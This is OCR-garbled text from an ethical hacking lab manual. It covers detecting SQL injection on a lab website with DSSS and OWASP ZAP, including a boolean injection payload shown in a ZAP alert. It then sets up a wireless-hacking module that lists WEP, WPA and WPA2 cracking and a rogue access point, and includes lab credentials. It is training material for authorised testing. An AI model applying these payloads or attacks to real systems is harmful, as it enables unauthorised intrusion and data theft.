. . oy '-.h'-._'r b2 '-JJLIJ DV -U I (S WWW.ITIOVIESCORE . COITIVIEW R DT |*_ =10 841 L ==LUU0UNRIC IMMSCODe =LIVVVUOINIOWI O =, =L !L_'J—_]_ --] - Fal [ | el
! I I i ! I

File Edit View Search Terminal Help

‘) Applications Places System —) . (W : 4 L] Wed Apr 20, 06:5¢

Open Link
Copy Link Address

> Open Jerminal

Open Tab

Close Window

=% a0

P Paste
Profiles

&4 Show Menubar

"II':' .; ||‘I|'

@parrot

%= pythons dsss.py -u "htt...

18. Switch to Mozilla Firefox; in a new tab, paste the copied link in the address bar and
press Enter.
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19. You will observe that information regarding available user accounts appears under the
View Profile tab.
® 0

ME Home - MovieScope < MS$ Home - MovieScope

< C @ ‘e moviescope.com oo &) % W O ® - s

Y Getting Started @ Start ) Parrot OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy 3 Pentest B3 lLearn |
Home Features Trailers Photos Blog Contacts

View Profile

sam profile Featured Movie Trailers
ID: 1 “
First Name: sam
Last Name: houston
Email: sam@moviescope.com
Gender: male
Date of Birth: 10-10-1975
Age: 38
PYCTOME Washington DC Get Showtimes and Tickets
Contact #: 1-202-501-4455 Browse by Location (ZIP Code or City, State)
john profile o

Y Home - MovieScope - , [2* "

20. Scroll down to view the user account information for all users.

@@
ME Home - MovieScope - MS Home - h‘Tﬂ‘-.-‘!E'SEGpE*
C @ b moviescope.com o @ N €O @ - &
Y Getting Started @ Start §) Parrot OS @& Community @ Docs @ Git @ CryptPad | 5 Privacy B Pentest B Learn |
jo
. . Browse by Title:
john profile o
oeiect movie title v
ID: 2
First Name: john
Last Name: smith
Email: john@moviescope.com
Gender: male
Date of Birth: 15-12-1968
Age: 45
Address: New York
Like Us On Facebook
Contact #: 1-202-505-1235 _
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‘) Applications Places System ) - @

ME Home - MovieScope - MS Home - MG‘."iESCGPE

< C @ fa moviescope.com/vie - | oo (V) 9y INn O ® - &

) Getting Started @ Start @) Parrot OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy EJPentest Flearn |
1-202-505-1235 il WO Wi 1 WU

Contact #:

kety profile

Photo Galleries

ID: 3
First Name: kety AR
Last Name: perry
Email: kety@moviescope.com

Burlesque
Gender: female
Date of Birth: 06-01-1980
Age: 33 Cowboys & Aliens
Address: Mexico city
Contact #: 1-202-502-2431

Pirates Of The

Note: In real life, attackers use blind SQL injection to access or destroy sensitive data.
Attackers can steal data by asking a series of true or false questions through SQL
statements. The results of the injection are not visible to the attacker. This type of
attack can become time-intensive, because the database must generate a new
statement for each newly recovered bit.

21. This concludes the demonstration of how to detect SQL injection vulnerabilities using
DSSS.

22. Close all open windows and document all the acquired information.

23. Turn off the Parrot Security virtual machine.

Task 2: Detect SQL Injection Vulnerabilities using OWASP ZAP

OWASP Zed Attack Proxy (ZAP) is an integrated penetration testing tool for finding
vulnerabilities in web applications. It offers automated scanners and a set of tools that allow
you to find security vulnerabilities manually. It is designed to be used by people with a wide
range of security experience, and as such is ideal for developers and functional testers who are
new to penetration testing.

In this task, we will use OWASP ZAP to test a web application for SQL injection vulnerabilities.

Note: We will scan the www.moviescope.com website that is hosted on the Windows Server
2019 machine.
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1. Switch to the Windows Server 2019 virtual machine. Click Ctrl+Alt+Del, then login into
Administrator user profile using PaSSwOrd as password.

2. Click Type here to search icon () on the Desktop. Type zap in the search field, the
Zap 2.11.1 appears in the results, press Enter launch it.

Recycle Bin

— D @ Filters
Best match
()

ZAP 2.11.1

Desktop app
Websites

& ZAP homepage

4:41 AM

&l 1 de 4/20/2022 L
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3. OWASP ZAP initialized and a prompt that reads Do you want to persist the ZAP

Session? appears; select the No, | do not want to persist this session at this moment in
time radio button, and click Start.

Note: If a Manage Add-ons window appears, close it.

D
File Edit View Analyse Report Tools Import Online Help
Standard Mode | | | BUiE} G EeEeEenn4ed v e P
& Sites e ; o Quick Stat # =% Request & Response =
o Wel to OWASP ZAP
=Y Contexts | € Come O _ | | ks ico
ZAP Is an easy to use integrated penetration testing tool for finding vulnerabilities in
%) OWASP ZAP X
e options below.
Do you want to persist the ZAP Session?
Yes, lwantto persist this session with name based on the current timestamp
Yes, | wantto persist this session but | want to specify the name and location
® No, | do notwant to persist this session atthis moment in time
/' Remember my choice and do not ask me again.
You can always change your decision via the Options / Database screen Tube Fha B
* History 4 Search el i

© @& | Filter OFF ¢ Export

id Sou.. Req. Timesta.. Met.. URL Co.. Reason R.. Size Resp... Highest... N.. Tags

Alets W0 0 40 0 _Primary Proxy: localhost:8080 CurrentScans 4 0 &0 @0 20 @0 M0 0 ¥

4. The OWASP ZAP main window appears; under the Quick Start tab, click the Automated
Scan option.

Note: If OWASP ZAP alert pop-up appears, click OK in all the pop-ups.
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\Y OWASP ZAP - OWASP ZAP 2,11.1 - O X
File Edit View Analyse Report Tools Import Online Help

StandardMode v| || B @ i @ G NP EEBEESDIEDO & ® VOV o X B o@E @

@ Sites = ; & Quick Start #  =b Request <= Response =

i Welcome to OWASP ZAP

v =5 Contexts

& Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
@ Sites If you are new to ZAP then it is best to start with one of the options below.
Automated Scan Manual Explore Learn More
= History % Search [®Alerts |  Output e

@ @& | Fiter OFF @ Export

Id Source Req. Timestamp  Method URL Code Reason RTT Size Resp.Body HighestAlet Note Tags £

Alerts | ( 0 y40 M0 Primary Proxy. localhost808( current Scans < (

5. The Automated Scan wizard appears, enter the target website in the URL to attack field
(in this case, http://www.moviescope.com). Leave other options set to default, and
then click the Attack button.

L) OWASP ZAP - OWASP ZAP 2.11.1 o
File Edit View Analyse Report Tools Import Online Help
StandardMode v || EH H B @ @ & V2= B E G 0D EEE & 8 YV O

@ Sites * ; % Quick Start & =p Request &= Response R

® LEE

v [} Contexts - AUtomated SCan

=] Default Context

» Sites
@ This screen allows you to launch an automated scan against an application - just enter its URL below and press
‘Aftack’.
Please be aware that you should only attack applications that you have been specifically been given permission to
test.
URL to attack: ttptfw_muescue.m W & Select..
Use traditional spider:
Use ajax spider: | with @ Firefox Headless
o Aftack | Stop
Progress: Not started |
' Perform a quick penetration test on the URL |
™ Histoy © Search [WAlerts | | Output =
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6. OWASP ZAP starts performing Active Scan on the target website, as shown in the

screenshot.
OWASP ZAP - OWASP ZAP 2.11.1 —
File Edit View Analyse Report Tools Import Online Help
Standard Mode = i e o L A2 EEEEEREE R Y @O % &=
& Sites g " 4 QuickStart #  =b Request <= Response g
| . S —
5 J I O R
- < Automated S
- — utomated Scan
& | Default Context
& Sites This screen allows you to launch an automated scan against an application - just enter its URL below and
press "Attack’.
Please be aware that you should only attack applications that you have been specifically been given permission
to test.
URL to attack: hitp://www.moviescope.com @ Select.
Use traditional spider:
Use ajax spider:; with = Firefox Headless
L Stop
Progress. Actively scanning (attacking) the URLs discovered by the spider(s)
= History i Search  [¥ Alerts Output 8 Spider A Active Scan & » 3
@ M New Scan Progress: 0 http://www.moviescope.com i £ = W 14% Current Scans: 1 Num Requests: 168 New Alerts: 0 (" Export e
Sent Messages Filtered Messages
— e
Id Req. Timestamp Resp. Timestamp  Method URL Code Reason RTT Size Resp. Header Size Resp. Body I8
200 4/20/22 44835 AM 4720122 44835 AM  POST hitp./’ww.moviescope.com/ 200 OK 16 ms 222 bytes 4,431 bytes
210 4/20/22 44835 AN 4/20/22 44835 AM POST http.//www.moviescope.com/ 200 OK 15 ms 222 bytes 4 431 bytes
211 4/20/22 4.48:35 AN 4/20/122 448335 AM POST http:/’ww.moviescope.com/ 200 OK 16 ms 222 bytes 4,431 bytes
212 4120122 44835 AM  4/20/22 448:35 AM POST hitp./www.moviescope.com/ 200 OK 16 ms 222 bytes 4,431 bytes
213 4/20/22 4:48:35 AM  4/20/22 4:48:35 AM  POST hitp/www.moviescope.com/ 200 OK 15 ms 222 bytes 4,431 bytes
214 4120122 4:48:35 AN 4/120/122 44835 AM  GET hitp:/lmww . moviescope.com/css 301 Moved Per.. 16 ms 225 bytes 153 bytes
215 4120122 4:48:36 AM  4/20/122 44836 AM GET http:ifmmw.mcwiesmne-mmﬂmages 301 Moved Per... 15 ms 228 bytes 156 bytes
Alerts W1 3 (U3 R 1 Primary Proxy localhost8080 CurrentScans 0 @0 A1 @0 #0 J'0 %0 §§0

wml 0 =
w8 = =

c N

B QP *

4:48 AM
& T 9% 400
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7. After the scan completes, Alerts tab appears, as shown in the screenshot.
8. You can observe the vulnerabilities found on the website under the Alerts tab.

Note: The discovered vulnerabilities might differ when you perform this task.

OWASP ZAP - OWASP ZAP 2.11.1 - X
File Edit View Analyse Repont Tools Import Online Help

' Standard Mode B Epf g %5 A 2=-mEBEBEOEERDE &8 VO % v e E | &
& Sites == . 4 QuickStat # =b Request <= Response =
— ._
®@ 538G
. Automated S
o utomated Scan
& | Default Context
W Sites This screen allows you to launch an automated scan against an application - just enter its URL below and
press ‘Attack’.
Please be aware that you should only attack applications that you have been specifically been given permission
to test.
URL to attack: hitp:/imww.moviescope.com W Select..
™ History ' Search [V Alerts # Output ¥ Spider ) Active Scan e
© & J & Full details of any selected alert will be displayed here
Alerts (9) You can manually add alerts by right clicking on the relevant line in the history and selecting ‘Add alert.
¥ SOL Injection
F Viewstate without MAC Signature (Unsure) (3) You can also edit existing alerts by double clicking on them.

8 Absence of Anti-CSRF Tokens (3)

¥ Content Security Policy (CSP) Header Not Set (5)

v Missing Anti-clickjacking Header (3)

v Server Leaks Information via “"X-Powered-By" HTTP Response F
' X-AspNet-Version Response Header (3)

i X-Content-Type-Options Header Missing (16)

¥ Information Disclosure - Suspicious Comments

Alets W2 3 (43 M1 Primary Proxy. localhost:8080 CurrentScans &0 @0 A 0 @0 30 0 20 &0

" it 4:50 AM
im e =i e M~ *» ® | \ Bl 7 d 4/20/2022 =
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9. Now, expand the SQL Injection vulnerability node under the Alerts tab.

Note: If you do not see SQL Injection vulnerability under the Alerts tab, perform

R OWASP ZAP - OWASP ZAP 2.11.1 -
File Edit View Analyse Repot Tools Import Online Help
I_Standard Mode v | B H = S A Ee e E e 7O % & o0 E | €
& Sites = f L7 Quick Start # = Request 4= Response .
O N n »
Automated Scan
¥ Contexts
= | Default Context
@ Sites This screen allows you to launch an automated scan against an application - just enter its URL below and
press ‘Attack’.
Please be aware that you should only attack applications that you have been specifically been given permission
to test.
URL to attack: hitp://mww.moviescope.com - @ Select..
| History <\ Search  [W Alerts # Output % Spider A ActiveScan =
© & 7 & Full details of any selected alert will be displayed here.

v | Alerts (9)

¥ SQL Injection

POST: hitp:/mww.moviescope.com/

" Viewstate without MAC Signature (Unsure) (3)

¥4 Absence of Anti-CSRF Tokens (3)

4 Content Security Policy (CSP) Header Mot Set (5)

¥ Missing Anti-clickjacking Header (3)
< Server Leaks Information via "X-Powered-By" HTTP Response F
ri X-AspNet-Version Response Header (3)

4 X-Content-Type-Options Header Missing (16)
¥ Information Disclosure - Suspicious Comments

E

L Alerts 2 W3 R3 M1 Primary Proxy: localhost 8080

You can manually add alerts by right clicking on the relevant line in the history and selecting ‘Add alert.

You can also edit existing alerts by double clicking on them.

CurrentScans €0 @0 A0 ©0 =0 0 #0 &0
4:50 AM O]

& T ds 4/20/2022
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10. Click on the discovered SQL Injection vulnerability and further click on the vulnerable
URL.

11. You can observe the information such as Risk, Confidence, Parameter, Attack, etc.,
regarding the discovered SQL Injection vulnerability in the lower right-bottom, as shown
in the screenshot.

Note: The risks associated with the vulnerability are categorized according to severity of
risk as Low, Medium, High, and Informational alerts. Each level of risk is represented by
a different flag color:

= Red Flag: High risk
= Orange Flag: Medium risk
= Yellow Flag: Low risk

= Blue Flag: Provides details about information disclosure vulnerabilities

ﬁ OWASP ZAP - OWASP ZAP 2111 - O X
File Edit View Analyse Report Tools Import Online Help

E - " — e
StandardMode v | B H E g & % A * 2 B E D EDDE & 8 ¢V @ X% G O 0O E | €

& Sites = } " Quick Start # =) Request 4= Response =

© LJel =

8 Automated Scan

& Default Context
> @ Sites This screen allows you to launch an automated scan against an application - just enter its URL below and
press ‘Attack’,
™ History < Search  [¥W Alerts # Output & Spider A Active Scan &
© ® J ¥ SQL Injection
1 Alerts (9 URL: hitp://iwvww.moviescope.com/
. Alerts (9) Risk: A High

¥ SQL Injection
B POST: hitp/ivww.moviescope.com/
o Viewstate without MAC Signature (Unsure) (3)

Confidence: Medium
Parameter. txtpwd

_ Attack: ZAP"OR"1'="1" -
4 Absence of Anti-CSRF Tokens (3) : :
4 Content S ity Policy (CSP) Header Not Set (5 S
. “pn _en ;:u?hk c:;{clrg.rf ; }d eager ot Set (5) CWE ID: 29
= ;'SS'H?_' }!Cl”'; e ':g _F'la"xe;{ ) . fwascio: 19
U Server Leaks pjﬂrrn:amn via "X-Powered-By esponse Chisaai Active (40018 - SQL Injection)
< X-AspNet-Version Response Header (3) e
Description:

i X-Content-Type-Options Header Missing (16)

¥ Information Disclosure - Suspicious Comments FAGAE ARJRACARCAN KRy R R

Other Info:

The page resuits were successfully manipulated using the boolean conditions [ZAP AND "1'="1"—-] and
[ZAP OR"1'="1" =]

The parameter value being modified was NOT stripped from the HTML output for the purposes of the
Solution:

Do not trust client side input, even if there is client side validation in place.
In general, type check all data on the server side.
If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by

Reference:
hitps:/icheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet html

E

Alerts m2 3 {3 M1 PrimaryProxy: localhost8080 CurrentScans 0 @0 A0 @0 %0 0 #0 L0

N ' 4:55 AM
@ o 0 € mY e N G5 G gy

12. This concludes the demonstration of how to detect SQL injection vulnerabilities using
OWASP ZAP.

13. Close all open windows and document all the acquired information.
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14. You can also use other SQL injection detection tools such as Acunetix Web Vulnerability
Scanner (https://www.acunetix.com), Snort (https://snort.org), Burp Suite
(https://www.portswigger.net), w3af (https://w3af.org), to detect SQL injection
vulnerabilities.

15. Turn off the Windows Server 2019 virtual machine.

Lab Analysis

Analyze and document the results of this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO THIS LAB.

Internet Connection Required

M Yes

Platform Supported

V] Classroom
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Module 16 - Hacking Wireless Networks

Hacking Wireless Networks

A wireless network is an unbounded data communication system that uses radio-frequency
technology to communicate with devices and obtain data. Through radio frequency technology, Wi-Fi
allows devices to access wireless networks without cables from anywhere within range of an access
point. The wireless network can be at risk to various types of attacks, including access-control attacks,
integrity attacks, confidentiality attacks, availability attacks, and authentication attacks.

Lab Scenario

Wireless networking is revolutionizing the way people work and play. A wireless local area
network (WLAN) is an unbounded data communication system, based on the IEEE 802.11
standard, which uses radio frequency technology to communicate with devices and obtain data.
This network frees the user from complicated and multiple wired connections. With the need
for a physical connection or cable removed, individuals are able to use networks in new ways,
and data has become ever more portable and accessible.

Although wireless networking technology is becoming increasingly popular, because of its
convenience, it has many security issues, some of which do not exist in wired networks. By
nature, wirelessly transferred data packets are airborne and available to anyone with the ability
to intercept and decode them. For example, several reports have demonstrated the
weaknesses in the Wired Equivalent Privacy (WEP) security algorithm, specified in the 802.11x
standard, which is designed to encrypt wireless data.

As an ethical hacker or penetration tester (hereafter, pen tester), you must have sound
knowledge of wireless concepts, wireless encryption, and related threats in order to protect
your company’s wireless network from unauthorized access and attacks. You should determine
critical sources, risks, or vulnerabilities associated with your organization’s wireless network,
and then check whether the current security system is able to protect the network against all
possible attacks.

Lab Objective

The objective of the lab is to protect the target wireless network from unauthorized access. To
do so, you will perform various tasks that include, but are not limited to:

. Discover Wi-Fi networks
"  Capture and analyze wireless traffic

" Crack WEP, WPA, and WPA2 Wi-Fi networks

Lab Environment
To carry out this lab, you need:
= Windows 11 virtual machine

= Parrot Security virtual machine

= Linksys 802.11 g WLAN adapter
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= Web browsers with an Internet connection

= Administrator privileges to run the tools

Lab Duration
Time: 125 Minutes

Overview of Wireless Networking

In wireless networks, communication takes place through radio wave transmission, which
usually takes place at the physical layer of the network structure. Thanks to the wireless
communication revolution, fundamental changes to data networking and telecommunication
are taking place. This means that you will need to know and understand several types of
wireless networks. These include:

= Extension to a wired network: A wired network is extended by the introduction of
access points between the wired network and wireless devices

= Multiple access points: Multiple access points connect computers wirelessly

= LAN-to-LAN wireless network: All hardware APs have the ability to interconnect with
other hardware access points

* 3G/4G hotspot: A mobile device shares its cellular data wirelessly with Wi-Fi-enabled
devices such as MP3 players, notebooks, tablets, cameras, PDAs, and netbooks

Lab Tasks

Ethical hackers or pen testers use numerous tools and techniques to hack target wireless
networks. The recommended labs that will assist you in learning various wireless network
hacking techniques include:

Self- CyberQ

Lab Exercise Name Core* - ik
1 | Footprint a Wireless Network \
1.1 Find Wi-Fi Networks in Range using d
NetSurveyor
2 Perform Wireless Traffic Analysis v \
2.1 Find Wi-Fi Networks and Sniff Wi-Fi Packets J J
using Wash and Wireshark
3 | Perform Wireless Attacks v \ \
3.1 Find Hidden SSIDs using Aircrack-ng \
3.2 Crack a WEP Network using Wifiphisher v
3.3 Crack a WEP Network using Aircrack-ng \ \
3.4 Crack a WPA Network using Fern Wifi J
Cracker
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3.5 Crack a WPA2 Network using Aircrack-ng \ \

3.6 Create a Rogue Access Point to Capture Data J
Packets

Remark

EC-Council has prepared a considered amount of lab exercises for student to practice during the 5-day class and at their free
time to enhance their knowledge and skill.

*Core - Lab exercise(s) marked under Core are recommended by EC-Council to be practised during the 5-day class.

**Self-study - Lab exercise(s) marked under self-study is for students to practise at their free time. Steps to access the
additional lab exercises can be found in the first page of CEHv12 volume 1 book.

¥**¥CyberQ - Lab exercise(s) marked under CyberQ are available in our CyberQ solution. CyberQ is a cloud-based virtual lab
environment preconfigured with vulnerabilities, exploits, tools and scripts, and can be accessed from anywhere with an
Internet connection. If you are interested to learn more about our CyberQ solution, please contact your training center or visit
https://www.cyberq.io/.

Lab Requirements

Before you begin the labs in this module, you must configure your environment, so that you can
connect your machine to a wireless network. For this purpose, you will need a wireless network
adaptor and an access point.

The demonstrations in this lab use a Linksys 802.11 g WLAN adapter and CEH-LABS as the
access point. The CEH-LABS access point has been configured with WEP, WPA, and WPA2
encryption as per the lab requirements.

Note: Here, the WEP encryption key is 1234567890. The WPA and WPA2 encryption password
IS passwordl.

Note: If you decide to use a different wireless adapter, the steps to set up the adapter might
differ.

1. Connect your access point CEH-LABS.
Note: Ensure that wireless router is plugged in to the network/Internet.

2. Turn on the Windows 11 virtual machine, and log in with the credentials Admin and
PaSSwOrd.

3. Navigate to E:\CEH-Tools\CEHv12 Lab Prerequisites\Linksys Adapter, right-click
setup64.exe, and click the Show more options option.
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Linksys Adapter — O X
® New - St L [ =0 (& 1] N sort ~ — View ~ aes
< > v M <« CEHv12 Lab Prerequisites > Linksys Adapter v O S0 Search Linksys Adapter
Name Date modified Type Size
v 1 Quick access
i adapter 6/1/2022 417 AM File folder
gl Desktop »
~ amd64 6/1/2022 4:17 AM File folder
i Downloads »
~Z bin 6/1/2022 4:17 AM File folder
— Documents  #
— leid 6/1/2022 4:17 AM File folder
P Pictures o+
~1 x86 Open Eree File folder

) Music ) -

L’_::I autorun i Run as administrator Setup Information 1 KB
Videos ;

2 | config s~ Pin to Start XML Document 1KB
> @ OneDrive < install 7 Compress to ZIP file lcon 30 KB
> [l This PC ::} LinksysWirelessh Copy as path Application 327 KB

e LinksysWirelessh 5] Properties Alt+Enter Application 2,116 KB
> == New Volume (E:)
ey setu : Application 1,327 KB
W L7 Show more options Shift+F10 RIS r
> W8 Network Application 2,116 KB
- &
unicows.dll ‘}D LD ED & E Application exten... 253 KB
4. From the available options, select Trouble compatibility option.
~ Linksys Adapter = X
® New - 36 U =D = T TN sort + = View ~ “es
& > ~ A T <« CEHv12 Lab Prerequisites > Linksys Adapter = e
Open
| | R - ®, Run as administrator s
v ¥r Quick access I  Troubleshoot compatibility ) |
_ adapter :
Gl Desktop » Pin to Start
“ amdé4 @ Scan with Microsoft Defender...
¥ Downloads  # - Pin to taskbar
~ bin
=] Documents  # KOy s o
— lcid & Share
PN Pictures of = 86 Restore previous versions
) Music = Send to >
=] autorun 1KB
i3 Videos | Cut
=] config 1KB
Copy
> @ OneDrive £ 3
«7 install Create shortcut WK
> [ This PC «¥ LinksysWirelessManager Delete 1,327 KB
N e : Rename
&7 LinksysWirelessManagertd 2,116 KB
> == New Volume (E:) = Properties
¥ setup - 1,327 KB
> W Network o setupbd 6/1/2022 2:48 AM Application 2,116 KB
unicows.dll 6/1/2022 2:48 AM Application exten... 253 KB
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5. The Program Compatibility Troubleshooter wizard appears and begins Detecting issues.

6. After the issues have been detected, the Select troubleshooting option wizard appears;
click Try recommended settings.

X

= Program Compatibility Troubleshooter

Select troubleshooting option

—> Try recommended settings

Select this option to test run program using recommended compatibility settings

—> Troubleshoot program
Select this option to choose compatibility settings based on problems you notice

Cancel

7. In the Test compatibility settings for the program wizard, click Test the program...

X
! Program Compatibility Troubleshooter
Test compatibility settings for the program
Settings applied to setupbd:
- Windows compatibility mode: Windows Vista (Service Pack 2)
You need to test the program to make sure these new settings fixed the problem before
you can click Next to continue,
Test the program...
Next Cancel
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8. A User Account Control pop-up appears; click Yes.

9. The Linksys Adapter Setup Wizard appears; click Next.

%y Linksys Adapter Setup Wizard

LINKSYS' by Cisco

Welcome to Linksys Setup Wizard

This wizard will guide you through a few easy steps to setup and configure
your new Linksys adapter.

Welcome

Install Driver Select your language: English |~

Install Adapter

| Wireless Setup

Click Next to continue.

Exit [

10. In the License Agreement wizard, check the | accept this agreement checkbox and click
Next.

11. The Preparing System for Install wizard appears; wait for it to complete.

LINKSYS by Cisco

Preparing System for Install

Please wait. ..

Welcome

Install Driver

1 Checking system configuration...

Install Adapter ¢ Copy files

[ L..R N R | ]

Wireless Setup
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12. The Insert Adapter wizard appears. Plug your Linksys 802.11 g WLAN adapter into an
available USB port.

% ¥ Linksys Edapter Setup Wizard

LINKSYS by Cisco

Insert Adapter

Insert your new adapter into an available USB port. If you had the adapter
inserted before starting this wizard, remove it and insert it again.

Welcome

Install Driver

| Install Adapter

Wireless Setup

After inserting your adapter, multiple dialog boxes may appear. If
necessary, select "Continue Anyway" or "Yes" to proceed.

Exit

&

13. After connecting the Linksys 802.11 g WLAN adapter, a New USB Device Detected
window appears. Select the Connect to a virtual machine radio-button under Choose
where you would like to connect Linksys 802.11 g WLAN, and under Virtual Machine
Name, select Windows 11; click OK.

Choose where you would like to connect Linksys 802.11 g WLAN

() Connect to the host

(®) Connect to a virtual machine

Virtual Machine Name

Windows 11

Remember my choice and do not ask again

conce

CEH Lab Manual Page 1758 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil
All Rights Reserved. Reproduction is Strictly Prohibited.




Module 16 — Hacking Wireless Networks

14.In the Linksys Adapter Setup Wizard window, observe that the adapter starts
Installing....

15. After the installation completes, a Congratulations! Your adapter has been installed
correctly notification appears; click Next.

% ¥ Linksys Adapter Setup Wizard

LINKSYS' by Cisco

Adapter Installed

Congratulations! Your adapter has been installed correctly.

Welcome

Install Driver

Install Adapter

| Wireless Setup

16. An Installing Linksys Wireless Manager wizard appears and installs the Linksys software.
On completion, the Connect to a Wireless Network wizard appears and the adapter
starts searching for available wireless networks.

17. The list of the available wireless network in range appears, as shown in the screenshot.
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18. Select CEH-LABS and click the Connect button.
LINKSYS' by Cisco

Connect to a Wireless Network

Select the wireless network you want to connect to.

Welcome Available wireless networks in range:

NO_CONNECTIONS
Secure (WPA2) wireless network

CEH-Labs

Install Driver O 6

Install Adapter

Secure ( ) wireless network

Wireless Setup HARMONY

L Secure (WPA2) wireless network o6
Spyingonyou_2 o A
Secure (WPA2) wireless network

[J My network is not in this list

search Again

i 5
Connect
L™ i

19. In the Quickly Connect Using Push Button wizard, click Skip.

20. In the Connect to a Wireless Network wizard, type the password of wireless network
CEH-LABS (in this example, passwordl) in the Your network requires a security key.
Enter it here: field, and click Next.

LINKSYS ' by Cisco

Connect to a Wireless Network

Welcome Your network requires a security key. Enter it here:

Install Driver Display Characters

Install Adapter
@ Learn more about wireless network security keys

Wireless Setup

Click Next to continue.
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21. The wizard shows the message Checking Connection as the adapter attempts to
connect to the network.

22. The Connected to Your Network screen appears in the wizard once the connection has
been established. Click Finish to exit the setup.

Linksys Adapter Setup Wizard

LINKSYS by Cisco

Connected to Your Network

Congratulations, your adapter has been configured and your connection to
the Internet is fully functional.

Welcome

Install Driver . |
- — # . [ ,ll
Install Adapter -

Network Name (SSID) W l?’:\J

| Wireless Setup CEH-LABS ——)

Save these settings Signal Strength:

uuﬂﬁu

Excellent

(@ Learn about connecting other devices to this network
Click Finish to continue.

23. When the Linksys Adapter Setup Wizard notification appears, click OK.

E} Linksys Adapter Setup Wizard W

Linksys Adapter Setup Wizard

Your settings have been saved to your desktop as Linksys Adapter. txt.

Manage your wireless networks

To help manage your connections to wireless
networks, the Linksys Wireless Manager utility has
been installed on your computer. You can access this
utility from the Start Menu, or by double-clicking the
icon shown below, located in the system tray.
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25. Close all windows and click Show hidden icons (E8) from the bettgm-right corner of

Desktop. You can observe the Wireless Network Connection icon (
screenshot.

), as shown in the

26. You can double-click the Wireless Network Connection icon ([]) to manage wireless
network connections.

4:34 AM
6/1/2022 e

27. Your Linksys 802.11 g WLAN adapter has been configured successfully.

28. In this way, you can connect your virtual machines to a wireless network. Repeat these
steps if you wish to connect to the wireless network with another virtual machine.

Note: You can use the adapter for only one virtual machine at a time.

Now, that we have set up the wireless adapter, we shall disable the ethernet adapter.
To do this, follow these steps:

29. In the Windows 11 virtual machine, open Control Panel and navigate to Network and
Internet -2 Network and Sharing Center.

30. In the Network and Sharing Center window, click Change adapter settings in the left

pane.
Foe _
v+ Network and Sharing Center — O X
€ v 4 &% <« Net..> Netw.. . & Jo

View your basic network information and set up connections
Control Panel Home

View your active networks
Change adapter settings

Change advanced sharing CEH-Labs Access type: Internet
settings public network Connections: .l Wi-Fi (CEF- L33}
Media streaming options

Network Access type: Internet
Public network Connections: U Ethernetd

Change your networking settings

‘E. Set up a new connecticn or network

Set up a broadband, dial-up, or VPN connection; or set up a router or access point.

==! Troubleshoot problems
- € oL prooic

Diagnose and repair network problems, or get troubleshooting information.,
Internet Options

Windows Defender Firewall
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31. In the Network Connections window, right-click the Ethernet0 adapter and click Disable

from the options.

32. The EthernetO is disabled; observe that Wi-Fi adapter is connected to the CEH-LABS

network.

LF Network Connections

Organize v

l: Ethernet)
~ Disabled

-

L 2items  1item selected

¢ §l {{ Nl‘ii } Nili }

Enable this network device

@~ Intel(R) 82574L Gigabit Network C...

Diagnose this connection  » =0

33. Close all open windows and turn off the Windows 11 virtual machine.

Lab Analysis

Analyze and document the results related to this lab exercise. Give an opinion on your target’s

security posture.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO THIS LAB.
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Footprint a Wireless Network

Footprinting a wireless network involves discovering and footprinting the wireless network in an
active or passive way.

Lab Scenario

As a professional ethical hacker or pen tester, your first step in hacking wireless networks is to
find a Wi-Fi network or device. You can locate a target wireless network using various Wi-Fi
discovery tools and procedures, including wireless footprinting and identifying an appropriate
target that is in range.

Attackers scan for Wi-Fi networks with the help of wireless network scanning tools, which tune
to the various radio channels of networking devices. The SSID (Service Set Identifier), which is
the wireless network’s name, is found in beacons, probe requests, and responses, as well as
association and re-association requests. Attackers can obtain the SSID of a network by passive
or active scanning. After doing so, they can connect to the wireless network and launch attacks.

As an ethical hacker and pen tester, you must perform footprinting to detect the SSID of a
wireless network in the target organization. This will help to predict how effective additional
security measures will be in strengthening and protecting your target organization’s networks.

The labs in this exercise demonstrate how to footprint a wireless network using various tools
and techniques.

Lab Objectives

" Find Wi-Fi networks in range using NetSurveyor

Lab Environment
To carry out this lab, you need:
=  Windows 11 virtual machine
= Linksys 802.11 g WLAN adapter
= Web browsers with an Internet connection

= Administrator privileges to run the tools
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= NetSurveyor located at E:\CEH-Tools\CEHv12 Module 16 Hacking Wireless
Networks\Wi-Fi Discovery Tools\NetSurveyor

" You can also download the latest version of NetSurveyor from the official website. If you
do so, the screenshots shown in the lab might differ.

Lab Duration
Time: 10 Minutes

Overview of Footprinting a Wireless Network

To footprint a wireless network, you must identify the BSS (Basic Service Set) or Independent
BSS (IBSS) provided by the access point. This is done with the help of the wireless network’s
SSID, which can be used to establish an association with the access point to compromise its
security. Therefore, you need to find the SSID of the target wireless network.

Footprinting methods to detect the SSID of a wireless network include:

* Passive Footprinting, in which you detect the existence of an access point by sniffing
packets from the airwaves

= Active Footprinting, in which a wireless device sends a probe request with the SSID to
see if an access point responds

Lab Tasks
Task 1: Find Wi-Fi Networks in Range using NetSurveyor

NetSurveyor is an 802.11 (Wi-Fi) network discovery tool that gathers information about nearby
wireless access points in real-time and displays it in useful ways. It also reports the SSID for
each wireless network it detects, along with the channel used by the access point servicing that
network. Using NetSurveyor, reports can be generated in Adobe PDF format.

Here, we will use NetSurveyor to find the Wi-Fi networks in range.

1. Turn on the Windows 11 virtual machine and log in with the credentials Admin and
PaSSwoOrd.

Note: Ensure that the Linksys 802.11 g WLAN adapter is plugged in and connected to
the Windows 11 virtual machine.

If the adapter is not connected to the virtual machine, unplug and plug it in again. A
New USB Device Detected window appears select the Connect to a virtual machine
radio-button, and under Virtual Machine Name, select Windows 11; click OK.

2. Navigate to E:\CEH-Tools\CEHv12 Module 16 Hacking Wireless Networks\Wi-Fi
Discovery Tools\NetSurveyor and double-click NetSurveyor-Setup.exe.

Note: If a User Account Control pop-up appears, click Yes.
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3. The Setup - NetSurveyor window appears; click Next.

& Setup - NetSurveyor

|
Welcome to the NetSurveyor

' Setup Wizard
This will install NetSurveyor 2.0.9686.0 on your computer.

It is recommended that you dose all other applications before
continuing.

Click Next to continue, or Cancel to exit Setup.

| Cancel |

4. Follow the steps to install the application using the default settings.

